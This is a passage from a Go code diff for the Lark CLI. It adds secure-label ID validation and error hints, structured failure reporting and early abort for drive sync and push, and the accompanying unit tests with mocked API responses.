+			"code": 0, "msg": "ok",
+			"data": map[string]interface{}{"files": []interface{}{}, "has_more": false},
+		},
+	})
+
+	err := mountAndRunDrive(t, DrivePush, []string{
+		"+push",
+		"--local-dir", "local",
+		"--folder-token", "folder_root",
+		"--as", "bot",
+	}, f, stdout)
+	if err == nil {
+		t.Fatalf("expected partial failure, got nil\nstdout: %s", stdout.String())
+	}
+	var pfErr *output.PartialFailureError
+	if !errors.As(err, &pfErr) {
+		t.Fatalf("expected *output.PartialFailureError, got %T: %v", err, err)
+	}
+
+	summary, items := splitDrivePushStdout(t, stdout.Bytes())
+	if got := summary["failed"]; got != float64(1) {
+		t.Fatalf("summary.failed = %v, want 1", got)
+	}
+	if len(items) != 1 {
+		t.Fatalf("items len = %d, want 1; items=%#v", len(items), items)
+	}
+	item := items[0]
+	if item["rel_path"] != "changing.txt" || item["error_class"] != "local_file_changed" || item["subtype"] != "failed_precondition" {
+		t.Fatalf("unexpected failure metadata: %#v", item)
+	}
+	if got, _ := item["error"].(string); !strings.Contains(got, "snapshot modtime no longer matches") {
+		t.Fatalf("items[0].error = %q, want modtime mismatch", got)
+	}
+	if strings.Contains(stdout.String(), "httpmock: no stub") {
+		t.Fatalf("upload_all was called after local snapshot changed:\n%s", stdout.String())
 	}
 }
 
@@ -1113,6 +1483,32 @@ func TestDrivePushExitsZeroOnCleanRun(t *testing.T) {
 	}
 }
 
+type drivePushStdoutEnvelope struct {
+	OK   bool `json:"ok"`
+	Data struct {
+		Summary map[string]interface{}   `json:"summary"`
+		Items   []map[string]interface{} `json:"items"`
+	} `json:"data"`
+}
+
+func decodeDrivePushStdout(t *testing.T, stdout []byte) drivePushStdoutEnvelope {
+	t.Helper()
+	var envelope drivePushStdoutEnvelope
+	if err := json.Unmarshal(stdout, &envelope); err != nil {
+		t.Fatalf("unmarshal stdout: %v\nraw=%s", err, string(stdout))
+	}
+	return envelope
+}
+
+func splitDrivePushStdout(t *testing.T, stdout []byte) (map[string]interface{}, []map[string]interface{}) {
+	t.Helper()
+	envelope := decodeDrivePushStdout(t, stdout)
+	if envelope.Data.Summary == nil {
+		t.Fatalf("stdout missing data.summary; raw=%s", string(stdout))
+	}
+	return envelope.Data.Summary, envelope.Data.Items
+}
+
 // TestDrivePushUploadsSiblingWhenRemoteSameNameIsNativeDoc pins the
 // behavior when a local regular file shares its rel_path with a Lark
 // native cloud document on Drive (sheet/docx/bitable/...).

shortcuts/drive/drive_search.go

@@ -75,7 +75,7 @@ var DriveSearch = common.Shortcut{
 	AuthTypes:   []string{"user", "bot"},
 	HasFormat:   true,
 	Flags: []common.Flag{
-		{Name: "query", Desc: "search keyword (may be empty to browse by filter only)"},
+		{Name: "query", Desc: "search keyword (may be empty to browse by filter only); max 30 characters by Unicode code point (CJK counts 1 each), over 30 the server rejects with 99992402 field validation failed"},
 
 		{Name: "mine", Type: "bool", Desc: "restrict to docs I own (server-side owner semantic, NOT original creator; uses current user's open_id)"},
 		{Name: "creator-ids", Desc: "comma-separated owner open_ids (API field is creator_ids but matched by owner); mutually exclusive with --mine"},

shortcuts/drive/drive_secure_label.go

@@ -6,6 +6,7 @@ package drive
 import (
 	"context"
 	"fmt"
+	"strings"
 
 	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/validate"
@@ -17,6 +18,13 @@ const (
 	secureLabelUpdateScope = "docs:secure_label:write_only"
 )
 
+type secureLabelOperation string
+
+const (
+	secureLabelOperationList   secureLabelOperation = "list"
+	secureLabelOperationUpdate secureLabelOperation = "update"
+)
+
 var secureLabelTypes = permApplyTypes
 
 // DriveSecureLabelList lists secure labels available to the current user.
@@ -28,6 +36,9 @@ var DriveSecureLabelList = common.Shortcut{
 	Scopes:      []string{secureLabelReadScope},
 	AuthTypes:   []string{"user"},
 	HasFormat:   true,
+	Tips: []string{
+		"Use the `id` field from this command as --label-id for +secure-label-update; do not use the display name.",
+	},
 	Flags: []common.Flag{
 		{Name: "page-size", Type: "int", Default: "10", Desc: "page size, 1-10"},
 		{Name: "page-token", Desc: "pagination token from previous response"},
@@ -53,7 +64,7 @@ var DriveSecureLabelList = common.Shortcut{
 			nil,
 		)
 		if err != nil {
-			return err
+			return decorateSecureLabelError(err, secureLabelOperationList)
 		}
 		runtime.OutFormat(data, nil, nil)
 		return nil
@@ -68,13 +79,21 @@ var DriveSecureLabelUpdate = common.Shortcut{
 	Risk:        "write",
 	Scopes:      []string{secureLabelUpdateScope},
 	AuthTypes:   []string{"user"},
+	Tips: []string{
+		"Pass the numeric label id returned by +secure-label-list; display names like Public(D) are rejected.",
+		"Downgrading a secure label may require approval; retrying the same request will not bypass approval.",
+		"When updating many files, serialize requests and back off on rate_limit errors.",
+	},
 	Flags: []common.Flag{
 		{Name: "token", Desc: "target file token or document URL (docx/sheets/base/file/wiki/doc/mindnote/slides)", Required: true},
 		{Name: "type", Desc: "target type; auto-inferred from URL when omitted", Enum: secureLabelTypes},
 		{Name: "label-id", Desc: "secure label ID to set", Required: true},
 	},
 	Validate: func(ctx context.Context, runtime *common.RuntimeContext) error {
-		_, _, err := resolveSecureLabelTarget(runtime.Str("token"), runtime.Str("type"))
+		if _, _, err := resolveSecureLabelTarget(runtime.Str("token"), runtime.Str("type")); err != nil {
+			return err
+		}
+		_, err := normalizeSecureLabelID(runtime.Str("label-id"))
 		return err
 	},
 	DryRun: func(ctx context.Context, runtime *common.RuntimeContext) *common.DryRunAPI {
@@ -82,11 +101,15 @@ var DriveSecureLabelUpdate = common.Shortcut{
 		if err != nil {
 			return common.NewDryRunAPI().Set("error", err.Error())
 		}
+		labelID, err := normalizeSecureLabelID(runtime.Str("label-id"))
+		if err != nil {
+			return common.NewDryRunAPI().Set("error", err.Error())
+		}
 		return common.NewDryRunAPI().
 			Desc("Update Drive secure label").
 			PATCH("/open-apis/drive/v2/files/:file_token/secure_label").
 			Params(map[string]interface{}{"type": docType}).
-			Body(map[string]interface{}{"id": runtime.Str("label-id")}).
+			Body(map[string]interface{}{"id": labelID}).
 			Set("file_token", token)
 	},
 	Execute: func(ctx context.Context, runtime *common.RuntimeContext) error {
@@ -94,14 +117,18 @@ var DriveSecureLabelUpdate = common.Shortcut{
 		if err != nil {
 			return err
 		}
-		body := map[string]interface{}{"id": runtime.Str("label-id")}
+		labelID, err := normalizeSecureLabelID(runtime.Str("label-id"))
+		if err != nil {
+			return err
+		}
+		body := map[string]interface{}{"id": labelID}
 		data, err := runtime.CallAPITyped("PATCH",
 			fmt.Sprintf("/open-apis/drive/v2/files/%s/secure_label", validate.EncodePathSegment(token)),
 			map[string]interface{}{"type": docType},
 			body,
 		)
 		if err != nil {
-			return err
+			return decorateSecureLabelError(err, secureLabelOperationUpdate)
 		}
 		runtime.Out(data, nil)
 		return nil
@@ -122,3 +149,70 @@ func buildSecureLabelListParams(runtime *common.RuntimeContext) map[string]inter
 func resolveSecureLabelTarget(raw, explicitType string) (token, docType string, err error) {
 	return resolvePermApplyTarget(raw, explicitType)
 }
+
+// normalizeSecureLabelID trims a label id and rejects display names before the
+// request reaches Drive, where they otherwise surface as opaque JSON errors.
+func normalizeSecureLabelID(raw string) (string, error) {
+	labelID := strings.TrimSpace(raw)
+	if labelID == "" {
+		return "", errs.NewValidationError(errs.SubtypeInvalidArgument, "--label-id is required").
+			WithParam("--label-id")
+	}
+	for _, r := range labelID {
+		if r < '0' || r > '9' {
+			return "", errs.NewValidationError(errs.SubtypeInvalidArgument, "--label-id must be a numeric secure label ID, not a display name: %q", raw).
+				WithParam("--label-id").
+				WithHint("run `lark-cli drive +secure-label-list` and pass the numeric `id` value; do not pass label names like `Public(D)`")
+		}
+	}
+	return labelID, nil
+}
+
+// decorateSecureLabelError appends command-aware recovery guidance while
+// preserving upstream/classifier hints already attached to the typed error.
+func decorateSecureLabelError(err error, operation secureLabelOperation) error {
+	if err == nil {
+		return nil
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok {
+		return err
+	}
+	guidance := secureLabelErrorGuidance(p.Code, operation)
+	if guidance == "" {
+		return err
+	}
+	if p.Hint == "" {
+		p.Hint = guidance
+	} else if !strings.Contains(p.Hint, guidance) {
+		p.Hint = p.Hint + "; " + guidance
+	}
+	return err
+}
+
+// secureLabelErrorGuidance returns recovery guidance for secure-label API
+// failures whose generic code-level classification needs command context.
+func secureLabelErrorGuidance(code int, operation secureLabelOperation) string {
+	switch code {
+	case 99991400:
+		if operation == secureLabelOperationUpdate {
+			return "secure label updates are rate limited; retry later with exponential backoff and serialize bulk updates"
+		}
+		return "secure label listing is rate limited; retry later with exponential backoff"
+	case 1063013:
+		if operation == secureLabelOperationUpdate {
+			return "secure label downgrade requires approval; request approval or choose a non-downgrade label before retrying"
+		}
+	case 1063002:
+		if operation == secureLabelOperationUpdate {
+			return "the current user lacks permission to update this file's secure label; use a user with file and security-label permission"
+		}
+		return "the current user lacks permission to list secure labels; use a user with security-label read permission"
+	case 1063001, 99992402, 9499:
+		if operation == secureLabelOperationUpdate {
+			return "check --token/--type and pass a secure label ID from `lark-cli drive +secure-label-list`, not the display name"
+		}
+		return "check secure label list parameters such as --page-size, --page-token, and --lang"
+	}
+	return ""
+}

shortcuts/drive/drive_secure_label_test.go

@@ -5,9 +5,11 @@ package drive
 
 import (
 	"encoding/json"
+	"errors"
 	"strings"
 	"testing"
 
+	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/httpmock"
 )
@@ -90,13 +92,54 @@ func TestDriveSecureLabelList_ExecuteSuccess(t *testing.T) {
 	}
 }
 
+func TestDriveSecureLabelList_RateLimitPreservesUpstreamHint(t *testing.T) {
+	f, _, _, reg := cmdutil.TestFactory(t, driveTestConfig())
+	reg.Register(&httpmock.Stub{
+		Method: "GET",
+		URL:    "/open-apis/drive/v2/my_secure_labels?page_size=10",
+		Status: 429,
+		Body: map[string]interface{}{
+			"code": 99991400,
+			"msg":  "rate limit exceeded",
+			"error": map[string]interface{}{
+				"details": []interface{}{
+					map[string]interface{}{"value": "server says slow down"},
+				},
+			},
+		},
+	})
+
+	err := mountAndRunDrive(t, DriveSecureLabelList, []string{
+		"+secure-label-list",
+		"--as", "user",
+	}, f, nil)
+	if err == nil {
+		t.Fatal("expected rate limit error")
+	}
+	var apiErr *errs.APIError
+	if !errors.As(err, &apiErr) {
+		t.Fatalf("expected APIError, got %T: %v", err, err)
+	}
+	if apiErr.Subtype != errs.SubtypeRateLimit || apiErr.Code != 99991400 || !apiErr.Retryable {
+		t.Fatalf("problem = %+v, want code=99991400 subtype=rate_limit retryable=true", apiErr.Problem)
+	}
+	for _, want := range []string{"server says slow down", "secure label listing is rate limited"} {
+		if !strings.Contains(apiErr.Hint, want) {
+			t.Fatalf("hint missing %q: %q", want, apiErr.Hint)
+		}
+	}
+	if strings.Contains(apiErr.Hint, "updates are rate limited") {
+		t.Fatalf("list hint should not use update-specific wording: %q", apiErr.Hint)
+	}
+}
+
 func TestDriveSecureLabelUpdate_DryRunInfersTypeFromURL(t *testing.T) {
 	t.Parallel()
 	f, stdout, _, _ := cmdutil.TestFactory(t, driveTestConfig())
 	err := mountAndRunDrive(t, DriveSecureLabelUpdate, []string{
 		"+secure-label-update",
 		"--token", "https://example.feishu.cn/docx/doxTok123?from=share",
-		"--label-id", "7217780879644737539",
+		"--label-id", " 7217780879644737539 ",
 		"--dry-run", "--as", "user",
 	}, f, stdout)
 	if err != nil {
@@ -132,7 +175,7 @@ func TestDriveSecureLabelUpdate_ExecuteSuccess(t *testing.T) {
 		"+secure-label-update",
 		"--token", "doxTok123",
 		"--type", "docx",
-		"--label-id", "7217780879644737539",
+		"--label-id", " 7217780879644737539 ",
 		"--as", "user",
 	}, f, stdout)
 	if err != nil {
@@ -148,7 +191,32 @@ func TestDriveSecureLabelUpdate_ExecuteSuccess(t *testing.T) {
 	}
 }
 
-func TestDriveSecureLabelUpdate_DowngradeApprovalReturnsAPIError(t *testing.T) {
+func TestDriveSecureLabelUpdate_RejectsDisplayNameAsLabelID(t *testing.T) {
+	t.Parallel()
+	f, stdout, _, _ := cmdutil.TestFactory(t, driveTestConfig())
+	err := mountAndRunDrive(t, DriveSecureLabelUpdate, []string{
+		"+secure-label-update",
+		"--token", "doxTok123",
+		"--type", "docx",
+		"--label-id", "Public(D)",
+		"--as", "user",
+	}, f, stdout)
+	if err == nil {
+		t.Fatal("expected label id validation error")
+	}
+	var validationErr *errs.ValidationError
+	if !errors.As(err, &validationErr) {
+		t.Fatalf("expected ValidationError, got %T: %v", err, err)
+	}
+	if validationErr.Param != "--label-id" {
+		t.Fatalf("Param = %q, want --label-id", validationErr.Param)
+	}
+	if !strings.Contains(validationErr.Hint, "+secure-label-list") {
+		t.Fatalf("hint missing list guidance: %q", validationErr.Hint)
+	}
+}
+
+func TestDriveSecureLabelUpdate_DowngradeApprovalReturnsFailedPrecondition(t *testing.T) {
 	f, _, _, reg := cmdutil.TestFactory(t, driveTestConfig())
 	reg.Register(&httpmock.Stub{
 		Method: "PATCH",
@@ -169,7 +237,78 @@ func TestDriveSecureLabelUpdate_DowngradeApprovalReturnsAPIError(t *testing.T) {
 	if err == nil {
 		t.Fatal("expected 1063013 error")
 	}
-	if !strings.Contains(err.Error(), "Security label downgrade requires approval") {
-		t.Fatalf("expected raw API error message, got: %v", err)
+	var validationErr *errs.ValidationError
+	if !errors.As(err, &validationErr) {
+		t.Fatalf("expected ValidationError, got %T: %v", err, err)
+	}
+	if validationErr.Subtype != errs.SubtypeFailedPrecondition || validationErr.Code != 1063013 {
+		t.Fatalf("problem = %+v, want code=1063013 subtype=failed_precondition", validationErr.Problem)
+	}
+	if !strings.Contains(validationErr.Hint, "approval") {
+		t.Fatalf("hint missing approval guidance: %q", validationErr.Hint)
+	}
+}
+
+func TestDriveSecureLabelUpdate_InvalidJSONTypeGetsLabelHint(t *testing.T) {
+	f, _, _, reg := cmdutil.TestFactory(t, driveTestConfig())
+	reg.Register(&httpmock.Stub{
+		Method: "PATCH",
+		URL:    "/open-apis/drive/v2/files/doxTok123/secure_label",
+		Status: 400,
+		Body: map[string]interface{}{
+			"code": 9499, "msg": "Invalid parameter type in json: id",
+		},
+	})
+
+	err := mountAndRunDrive(t, DriveSecureLabelUpdate, []string{
+		"+secure-label-update",
+		"--token", "https://example.feishu.cn/docx/doxTok123",
+		"--label-id", "7217780879644737539",
+		"--as", "user",
+	}, f, nil)
+	if err == nil {
+		t.Fatal("expected 9499 error")
+	}
+	var apiErr *errs.APIError
+	if !errors.As(err, &apiErr) {
+		t.Fatalf("expected APIError, got %T: %v", err, err)
+	}
+	if apiErr.Subtype != errs.SubtypeInvalidParameters || apiErr.Code != 9499 {
+		t.Fatalf("problem = %+v, want code=9499 subtype=invalid_parameters", apiErr.Problem)
+	}
+	if !strings.Contains(apiErr.Hint, "+secure-label-list") {
+		t.Fatalf("hint missing secure label list guidance: %q", apiErr.Hint)
+	}
+}
+
+func TestDriveSecureLabelUpdate_RateLimitIsRetryableWithBackoffHint(t *testing.T) {
+	f, _, _, reg := cmdutil.TestFactory(t, driveTestConfig())
+	reg.Register(&httpmock.Stub{
+		Method: "PATCH",
+		URL:    "/open-apis/drive/v2/files/doxTok123/secure_label",
+		Status: 429,
+		Body: map[string]interface{}{
+			"code": 99991400, "msg": "rate limit exceeded",
+		},
+	})
+
+	err := mountAndRunDrive(t, DriveSecureLabelUpdate, []string{
+		"+secure-label-update",
+		"--token", "https://example.feishu.cn/docx/doxTok123",
+		"--label-id", "7217780879644737539",
+		"--as", "user",
+	}, f, nil)
+	if err == nil {
+		t.Fatal("expected rate limit error")
+	}
+	var apiErr *errs.APIError
+	if !errors.As(err, &apiErr) {
+		t.Fatalf("expected APIError, got %T: %v", err, err)
+	}
+	if apiErr.Subtype != errs.SubtypeRateLimit || apiErr.Code != 99991400 || !apiErr.Retryable {
+		t.Fatalf("problem = %+v, want code=99991400 subtype=rate_limit retryable=true", apiErr.Problem)
+	}
+	if !strings.Contains(apiErr.Hint, "backoff") {
+		t.Fatalf("hint missing backoff guidance: %q", apiErr.Hint)
 	}
 }

shortcuts/drive/drive_sync.go

@@ -25,12 +25,21 @@ const (
 	driveSyncOnConflictAsk        = "ask"
 )
 
+func driveSyncActionScopes() []string {
+	return []string{"drive:file:download", "drive:file:upload", "space:folder:create"}
+}
+
 type driveSyncItem struct {
-	RelPath   string `json:"rel_path"`
-	FileToken string `json:"file_token,omitempty"`
-	Action    string `json:"action"`
-	Direction string `json:"direction,omitempty"` // "pull" or "push"
-	Error     string `json:"error,omitempty"`
+	RelPath    string `json:"rel_path"`
+	FileToken  string `json:"file_token,omitempty"`
+	Action     string `json:"action"`
+	Direction  string `json:"direction,omitempty"` // "pull" or "push"
+	Error      string `json:"error,omitempty"`
+	Phase      string `json:"phase,omitempty"`
+	ErrorClass string `json:"error_class,omitempty"`
+	Code       int    `json:"code,omitempty"`
+	Subtype    string `json:"subtype,omitempty"`
+	Retryable  *bool  `json:"retryable,omitempty"`
 }
 
 // DriveSync performs a two-way sync between a local directory and a Drive
@@ -66,6 +75,7 @@ var DriveSync = common.Shortcut{
 		"Default --on-conflict=remote-wins pulls the remote version when both sides changed a file. Use local-wins to push instead, keep-both to rename and keep both copies, or ask for interactive resolution.",
 		"Pass --quick for faster best-effort diff detection using modified_time instead of SHA-256 hash (no remote file downloads needed during diffing).",
 		"Because +sync acts on the diff, --quick can still pull, overwrite, or rename files when timestamps differ even if file contents are actually unchanged.",
+		"Actual sync execution pre-flights download, upload, and folder-create scopes before listing or walking, so missing grants fail before any partial sync can start.",
 		"Only entries with type=file are synced; online docs (docx, sheet, bitable, mindnote, slides) and shortcuts are skipped.",
 	},
 	Validate: func(ctx context.Context, runtime *common.RuntimeContext) error {
@@ -110,10 +120,8 @@ var DriveSync = common.Shortcut{
 			duplicateRemote = driveDuplicateRemoteFail
 		}
 		quick := runtime.Bool("quick")
-		if !quick {
-			if err := runtime.EnsureScopes([]string{"drive:file:download"}); err != nil {
-				return err
-			}
+		if err := runtime.EnsureScopes(driveSyncActionScopes()); err != nil {
+			return err
 		}
 
 		safeRoot, err := validate.SafeInputPath(localDir)
@@ -262,18 +270,6 @@ var DriveSync = common.Shortcut{
 		var pulled, pushed, skipped, failed int
 		items := make([]driveSyncItem, 0)
 
-		if quick && driveSyncNeedsDownloadScope(newRemote, modified, conflictResolutions) {
-			if err := runtime.EnsureScopes([]string{"drive:file:download"}); err != nil {
-				return err
-			}
-		}
-		plannedUploads := driveSyncPlannedUploadPaths(newLocal, modified, conflictResolutions)
-		if len(plannedUploads) > 0 {
-			if err := runtime.EnsureScopes([]string{"drive:file:upload"}); err != nil {
-				return err
-			}
-		}
-
 		// Build push infrastructure: local walk for push + remote views + folder cache.
 		folderCache := map[string]string{"": folderToken}
 		for relDir, entry := range remoteFolders {
@@ -287,20 +283,18 @@ var DriveSync = common.Shortcut{
 			return err
 		}
 
-		if driveSyncNeedsCreateScope(plannedUploads, localDirs, folderCache) {
-			if err := runtime.EnsureScopes([]string{"space:folder:create"}); err != nil {
-				return err
-			}
-		}
-
 		// Mirror local directory structure first (same as +push), so
 		// empty local directories are not silently dropped.
 		for _, relDir := range localDirs {
+			if driveSyncHasTerminalFailure(items) {
+				break
+			}
 			if _, alreadyRemote := folderCache[relDir]; alreadyRemote {
 				continue
 			}
 			if _, ensureErr := drivePushEnsureFolder(ctx, runtime, folderToken, relDir, folderCache); ensureErr != nil {
-				items = append(items, driveSyncItem{RelPath: relDir, Action: "failed", Direction: "push", Error: ensureErr.Error()})
+				item, _ := driveSyncFailedItem(relDir, "", "failed", "push", "create_folder", ensureErr)
+				items = append(items, item)
 				failed++
 				continue
 			}
@@ -310,6 +304,9 @@ var DriveSync = common.Shortcut{
 
 		// 2a. Pull new_remote files.
 		for _, entry := range newRemote {
+			if driveSyncHasTerminalFailure(items) {
+				break
+			}
 			targetFile, ok := pullRemoteFiles[entry.RelPath]
 			if !ok {
 				// Non-file type (doc, shortcut, etc.) — skip.
@@ -317,8 +314,13 @@ var DriveSync = common.Shortcut{
 			}
 			target := filepath.Join(rootRelToCwd, entry.RelPath)
 			if err := drivePullDownload(ctx, runtime, targetFile.DownloadToken, target, targetFile.ModifiedTime); err != nil {
-				items = append(items, driveSyncItem{RelPath: entry.RelPath, FileToken: entry.FileToken, Action: "failed", Direction: "pull", Error: err.Error()})
+				item, terminal := driveSyncFailedItem(entry.RelPath, entry.FileToken, "failed", "pull", "download", err)
+				items = append(items, item)
 				failed++
+				if terminal {
+					fmt.Fprintf(runtime.IO().ErrOut, "Aborting +sync after terminal %s failure: %v\n", item.Phase, err)
+					break
+				}
 				continue
 			}
 			items = append(items, driveSyncItem{RelPath: entry.RelPath, FileToken: entry.FileToken, Action: "downloaded", Direction: "pull"})
@@ -327,6 +329,9 @@ var DriveSync = common.Shortcut{
 
 		// 2b. Push new_local files.
 		for _, entry := range newLocal {
+			if driveSyncHasTerminalFailure(items) {
+				break
+			}
 			localFile, ok := pushLocalFiles[entry.RelPath]
 			if !ok {
 				items = append(items, driveSyncItem{RelPath: entry.RelPath, Action: "skipped", Direction: "push", Error: "local file disappeared during sync"})
@@ -336,14 +341,20 @@ var DriveSync = common.Shortcut{
 			parentRel := drivePushParentRel(entry.RelPath)
 			parentToken, ensureErr := drivePushEnsureFolder(ctx, runtime, folderToken, parentRel, folderCache)
 			if ensureErr != nil {
-				items = append(items, driveSyncItem{RelPath: entry.RelPath, Action: "failed", Direction: "push", Error: ensureErr.Error()})
+				item, _ := driveSyncFailedItem(entry.RelPath, "", "failed", "push", "create_folder", ensureErr)
+				items = append(items, item)
 				failed++
 				continue
 			}
 			token, _, upErr := drivePushUploadFile(ctx, runtime, localFile, "", parentToken)
 			if upErr != nil {
-				items = append(items, driveSyncItem{RelPath: entry.RelPath, Action: "failed", Direction: "push", Error: upErr.Error()})
+				item, terminal := driveSyncFailedItem(entry.RelPath, token, "failed", "push", "upload", upErr)
+				items = append(items, item)
 				failed++
+				if terminal {
+					fmt.Fprintf(runtime.IO().ErrOut, "Aborting +sync after terminal %s failure: %v\n", item.Phase, upErr)
+					break
+				}
 				continue
 			}
 			items = append(items, driveSyncItem{RelPath: entry.RelPath, FileToken: token, Action: "uploaded", Direction: "push"})
@@ -352,6 +363,9 @@ var DriveSync = common.Shortcut{
 
 		// 2c. Resolve modified files by --on-conflict strategy.
 		for _, entry := range modified {
+			if driveSyncHasTerminalFailure(items) {
+				break
+			}
 			remoteFile := remoteFiles[entry.RelPath]
 			localFile, hasLocal := pushLocalFiles[entry.RelPath]
 			if !hasLocal {
@@ -379,8 +393,13 @@ var DriveSync = common.Shortcut{
 				}
 				target := filepath.Join(rootRelToCwd, entry.RelPath)
 				if err := drivePullDownload(ctx, runtime, targetFile.DownloadToken, target, targetFile.ModifiedTime); err != nil {
-					items = append(items, driveSyncItem{RelPath: entry.RelPath, FileToken: entry.FileToken, Action: "failed", Direction: "pull", Error: err.Error()})
+					item, terminal := driveSyncFailedItem(entry.RelPath, entry.FileToken, "failed", "pull", "download", err)
+					items = append(items, item)
 					failed++
+					if terminal {
+						fmt.Fprintf(runtime.IO().ErrOut, "Aborting +sync after terminal %s failure: %v\n", item.Phase, err)
+						break
+					}
 					continue
 				}
 				items = append(items, driveSyncItem{RelPath: entry.RelPath, FileToken: entry.FileToken, Action: "downloaded", Direction: "pull"})
@@ -396,7 +415,8 @@ var DriveSync = common.Shortcut{
 				}
 				parentToken, parentErr := drivePushEnsureFolder(ctx, runtime, folderToken, drivePushParentRel(entry.RelPath), folderCache)
 				if parentErr != nil {
-					items = append(items, driveSyncItem{RelPath: entry.RelPath, FileToken: existingToken, Action: "failed", Direction: "push", Error: parentErr.Error()})
+					item, _ := driveSyncFailedItem(entry.RelPath, existingToken, "failed", "push", "create_folder", parentErr)
+					items = append(items, item)
 					failed++
 					continue
 				}
@@ -411,8 +431,13 @@ var DriveSync = common.Shortcut{
 					if failedToken == "" {
 						failedToken = existingToken
 					}
-					items = append(items, driveSyncItem{RelPath: entry.RelPath, FileToken: failedToken, Action: "failed", Direction: "push", Error: upErr.Error()})
+					item, terminal := driveSyncFailedItem(entry.RelPath, failedToken, "failed", "push", "upload", upErr)
+					items = append(items, item)
 					failed++
+					if terminal {
+						fmt.Fprintf(runtime.IO().ErrOut, "Aborting +sync after terminal %s failure: %v\n", item.Phase, upErr)
+						break
+					}
 					continue
 				}
 				items = append(items, driveSyncItem{RelPath: entry.RelPath, FileToken: token, Action: "overwritten", Direction: "push"})
@@ -433,7 +458,8 @@ var DriveSync = common.Shortcut{
 				}
 				suffixedRel, err := relPathWithUniqueFileTokenSuffix(entry.RelPath, remoteFile.FileToken, occupied)
 				if err != nil {
-					items = append(items, driveSyncItem{RelPath: entry.RelPath, Action: "failed", Direction: "conflict", Error: err.Error()})
+					item, _ := driveSyncFailedItem(entry.RelPath, "", "failed", "conflict", "conflict", err)
+					items = append(items, item)
 					failed++
 					continue
 				}
@@ -441,7 +467,9 @@ var DriveSync = common.Shortcut{
 				oldAbsPath := filepath.Join(safeRoot, filepath.FromSlash(entry.RelPath))
 				newAbsPath := filepath.Join(safeRoot, filepath.FromSlash(suffixedRel))
 				if err := os.Rename(oldAbsPath, newAbsPath); err != nil { //nolint:forbidigo // shortcuts cannot import internal/vfs (depguard rule shortcuts-no-vfs); safeRoot is validated.
-					items = append(items, driveSyncItem{RelPath: entry.RelPath, Action: "failed", Direction: "conflict", Error: fmt.Sprintf("rename local: %s", err)})
+					renameErr := errs.NewInternalError(errs.SubtypeFileIO, "rename local: %s", err).WithCause(err)
+					item, _ := driveSyncFailedItem(entry.RelPath, "", "failed", "conflict", "conflict", renameErr)
+					items = append(items, item)
 					failed++
 					continue
 				}
@@ -454,19 +482,30 @@ var DriveSync = common.Shortcut{
 					if rollbackErr != nil {
 						errMsg += "; rollback failed: " + rollbackErr.Error()
 					}
-					items = append(items, driveSyncItem{RelPath: entry.RelPath, Action: "failed", Direction: "pull", Error: errMsg})
+					notFoundErr := errs.NewAPIError(errs.SubtypeNotFound, "%s", errMsg)
+					item, _ := driveSyncFailedItem(entry.RelPath, "", "failed", "pull", "download", notFoundErr)
+					items = append(items, item)
 					failed++
 					continue
 				}
 				target := filepath.Join(rootRelToCwd, entry.RelPath)
 				if err := drivePullDownload(ctx, runtime, targetFile.DownloadToken, target, targetFile.ModifiedTime); err != nil {
+					downloadErr := err
 					rollbackErr := driveSyncRollbackRenamedLocal(oldAbsPath, newAbsPath)
 					errMsg := err.Error()
 					if rollbackErr != nil {
 						errMsg += "; rollback failed: " + rollbackErr.Error()
 					}
-					items = append(items, driveSyncItem{RelPath: entry.RelPath, FileToken: entry.FileToken, Action: "failed", Direction: "pull", Error: errMsg})
+					item, terminal := driveSyncFailedItem(entry.RelPath, entry.FileToken, "failed", "pull", "download", downloadErr)
+					if rollbackErr != nil {
+						item.Error = errMsg
+					}
+					items = append(items, item)
 					failed++
+					if terminal {
+						fmt.Fprintf(runtime.IO().ErrOut, "Aborting +sync after terminal %s failure: %v\n", item.Phase, downloadErr)
+						break
+					}
 					continue
 				}
 				items = append(items, driveSyncItem{RelPath: entry.RelPath, Action: "renamed_local", Direction: "conflict"})
@@ -492,6 +531,7 @@ var DriveSync = common.Shortcut{
 				"pushed":  pushed,
 				"skipped": skipped,
 				"failed":  failed,
+				"aborted": driveSyncHasTerminalFailure(items),
 			},
 			"items": items,
 		}
@@ -520,6 +560,32 @@ func driveSyncStatusRemoteFiles(pullRemoteFiles map[string]drivePullTarget) map[
 	return remoteFiles
 }
 
+func driveSyncFailedItem(relPath, fileToken, action, direction, phase string, err error) (driveSyncItem, bool) {
+	decision := driveClassifyBatchFailure(err)
+	item := driveSyncItem{
+		RelPath:    relPath,
+		FileToken:  fileToken,
+		Action:     action,
+		Direction:  direction,
+		Error:      err.Error(),
+		Phase:      phase,
+		ErrorClass: decision.Class,
+		Code:       decision.Code,
+		Subtype:    decision.Subtype,
+		Retryable:  driveBoolPtr(decision.Retryable),
+	}
+	return item, decision.Terminal
+}
+
+func driveSyncHasTerminalFailure(items []driveSyncItem) bool {
+	for _, item := range items {
+		if driveTerminalBatchErrorClass(item.ErrorClass) {
+			return true
+		}
+	}
+	return false
+}
+
 // driveSyncAskConflict prompts the user for a conflict resolution strategy
 // for a single file. Returns the strategy string, or empty string if the
 // user chose to skip.
@@ -558,51 +624,6 @@ func driveSyncAskConflict(relPath string, runtime *common.RuntimeContext) (strin
 	}
 }
 
-func driveSyncNeedsDownloadScope(newRemote, modified []driveStatusEntry, conflictResolutions map[string]string) bool {
-	if len(newRemote) > 0 {
-		return true
-	}
-	for _, entry := range modified {
-		switch conflictResolutions[entry.RelPath] {
-		case driveSyncOnConflictRemoteWins, driveSyncOnConflictKeepBoth:
-			return true
-		}
-	}
-	return false
-}
-
-func driveSyncPlannedUploadPaths(newLocal, modified []driveStatusEntry, conflictResolutions map[string]string) []string {
-	planned := make([]string, 0, len(newLocal)+len(modified))
-	for _, entry := range newLocal {
-		planned = append(planned, entry.RelPath)
-	}
-	for _, entry := range modified {
-		if conflictResolutions[entry.RelPath] == driveSyncOnConflictLocalWins {
-			planned = append(planned, entry.RelPath)
-		}
-	}
-	return planned
-}
-
-func driveSyncNeedsCreateScope(uploadPaths []string, localDirs []string, folderCache map[string]string) bool {
-	for _, relPath := range uploadPaths {
-		parentRel := drivePushParentRel(relPath)
-		if parentRel == "" {
-			continue
-		}
-		if _, ok := folderCache[parentRel]; !ok {
-			return true
-		}
-	}
-	// Empty local directories also need create_folder if not already on Drive.
-	for _, relDir := range localDirs {
-		if _, ok := folderCache[relDir]; !ok {
-			return true
-		}
-	}
-	return false
-}
-
